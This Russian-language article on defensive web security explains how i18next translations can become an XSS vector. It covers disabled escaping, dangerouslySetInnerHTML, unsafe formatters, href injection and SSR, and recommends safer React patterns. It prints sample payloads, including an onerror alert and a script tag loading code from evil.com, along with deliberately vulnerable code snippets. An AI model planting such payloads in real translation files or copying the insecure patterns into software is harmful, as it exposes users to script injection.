XSS риски при работе с переводами

Локализация текста в JavaScript-приложениях часто воспринимается как чисто текстовая задача, однако система перевода становится полноценной частью UI-слоя и, следовательно, участником модели доверия. Библиотека i18next не выполняет магического «обезвреживания» данных: она лишь подставляет строки в нужные места. Любые данные, попадающие в перевод, становятся потенциальным носителем инъекций, если архитектура допускает их интерпретацию как HTML или JavaScript.

XSS в контексте переводов почти всегда возникает не из самой библиотеки, а из сочетания трёх факторов: динамических значений, HTML-рендеринга и отсутствия строгого разделения между текстом и разметкой.


Интерполяция и точка входа для инъекций

i18next поддерживает интерполяцию:

{
  "welcome": "Привет, {{name}}!"
}
i18next.t('welcome', { name: userInput })

По умолчанию библиотека экранирует значения интерполяции через escapeValue: true. Это критический механизм защиты, который предотвращает превращение пользовательского ввода в исполняемый HTML.

Проблемы начинаются при изменении стандартной конфигурации:

i18next.init({
  interpolation: {
    escapeValue: false
  }
})

Отключение экранирования переносит ответственность на слой рендеринга. Любое значение, попавшее в {{}}, может быть интерпретировано браузером как HTML, если далее оно помещается в innerHTML или аналогичные API.


HTML внутри переводов и скрытая опасность stored XSS

Часто переводчики или CMS добавляют HTML в строки:

{
  "warning": "Нажмите <a href='/rules'>сюда</a> для правил"
}

i18next позволяет выводить такие строки как есть, особенно если используется dangerouslySetInnerHTML в React или innerHTML в DOM.

Проблема усиливается, если переводы хранятся во внешних системах (Crowdin, локальные админки, headless CMS). Тогда перевод становится точкой сохранённого XSS:

  • злоумышленник получает доступ к системе перевода;
  • вставляет <script> или event handler;
  • код распространяется на всех пользователей.

dangerouslySetInnerHTML и потеря контроля над DOM

Типичный анти-паттерн в React:

<div dangerouslySetInnerHTML={{ __html: t('description') }} />

В связке с i18next это означает, что любой HTML из переводов становится исполняемым.

Если в переводе окажется:

{
  "description": "<img src=x oner ror=alert(1)>"
}

браузер выполнит JavaScript в контексте приложения.

Важно, что даже при отсутствии пользовательского ввода риск сохраняется: перевод — это доверенный слой только условно, а не по факту.


React-i18next и безопасные механизмы рендеринга

Библиотека react-i18next предоставляет компонент Trans, который позволяет безопасно комбинировать текст и компоненты:

<Trans i18nKey="description">
  Default text <strong>fallback</strong>
</Trans>

Правильный подход заключается в том, что HTML не хранится в переводах вообще. Вместо этого используются компоненты:

{
  "description": "Нажмите <1>сюда</1>"
}
<Trans
  i18nKey="description"
  components={[<a href="/rules" />]}
/>

Такой подход устраняет необходимость в innerHTML и снижает риск XSS до уровня обычного React-рендеринга, где экранирование происходит автоматически.


Интерполяция объектов и неожиданные поверхности атаки

i18next поддерживает сложные значения:

t('message', {
  user: {
    name: '<img src=x oner ror=alert(1)>'
  }
})

Если конфигурация интерполяции или кастомный форматтер превращает объект в строку без экранирования, возникает риск внедрения HTML.

Особенно опасны:

  • кастомные format функции;
  • returnObjects: true с последующим ручным рендерингом;
  • сериализация переводов в HTML без фильтрации.

Форматтеры как скрытый канал XSS

i18next позволяет использовать форматирование:

interpolation: {
  format: (value, format) => {
    if (format === 'uppercase') return value.toUpperCase()
    return value
  }
}

Если форматтеры начинают возвращать HTML или вставлять данные без экранирования, они превращаются в скрытую точку инъекции.

Опасный паттерн:

format: (value, format) => {
  if (format === 'link') {
    return `<a href="${value}">${value}</a>`
  }
}

Любое значение, попавшее в link, становится управляемым HTML.


JSON-файлы переводов как источник stored XSS

Файлы локализации часто воспринимаются как статические и безопасные, однако в реальных системах они:

  • редактируются через веб-интерфейсы;
  • синхронизируются через внешние сервисы;
  • обновляются без полноценного code review.

Это делает их эквивалентом пользовательского ввода.

Любая строка вида:

{
  "title": "<script src=https://evil.com/x.js></script>"
}

при неправильном рендеринге становится полноценным XSS.


SSR и гидратация: усиление последствий

В server-side rendering перевод часто вставляется в HTML заранее:

const html = i18next.t('page.title')

Если результат не экранируется на сервере, вредоносный перевод попадает в исходный HTML-документ до гидратации React/Vue.

Это приводит к:

  • выполнению скрипта до загрузки клиента;
  • обходу клиентских защит;
  • сохранению XSS даже при последующей корректной обработке на клиенте.

Разделение контекстов: текст, HTML и атрибуты

Основная причина уязвимостей — смешение контекстов:

  • текст внутри DOM;
  • HTML-разметка;
  • значения атрибутов (href, src, on*).

i18next не различает контекст по умолчанию. Поэтому строка перевода должна рассматриваться как «сырой текст», а не как HTML-шаблон.

Ошибочный подход:

<a href={t('link')}>link</a>

Если перевод содержит jav * ascript: или HTML-инъекцию, он становится исполняемым.


Безопасная модель использования переводов

Корректная архитектура строится на принципе:

переводы = данные, а не разметка

Это означает:

  • запрет HTML в переводах;
  • использование компонентной вставки вместо тегов;
  • сохранение escapeValue: true как базового поведения;
  • отказ от innerHTML для переводов;
  • контроль всех внешних систем редактирования локализаций.

Особенности ICU и структурированных сообщений

При использовании ICU-формата:

{
  "items": "{count, plural, one {# элемент} other {# элементов}}"
}

риски XSS снижаются, так как структура ограничивает типы данных. Однако при расширении через кастомные функции форматирования или вставки HTML логика снова становится уязвимой.


Типичные ошибки архитектуры локализации

На практике XSS через i18next возникает в системах, где:

  • переводам позволяют содержать HTML «для гибкости»;
  • отсутствует централизованный контроль строк;
  • используется dangerouslySetInnerHTML для ускорения разработки;
  • пользователь или редактор контента имеет доступ к переводам;
  • отключено экранирование интерполяции ради «удобства».

Каждая из этих точек сама по себе не критична, но их комбинация создаёт устойчивую поверхность атаки.


Модель угроз для i18next в веб-приложениях

При анализе безопасности переводов учитываются три источника:

  • пользовательский ввод (interpolation values);
  • внешние системы перевода (CMS, TMS);
  • код приложения (рендеринг HTML).

Уязвимость возникает, когда хотя бы один источник получает возможность влиять на DOM без экранирования или ограничения контекста.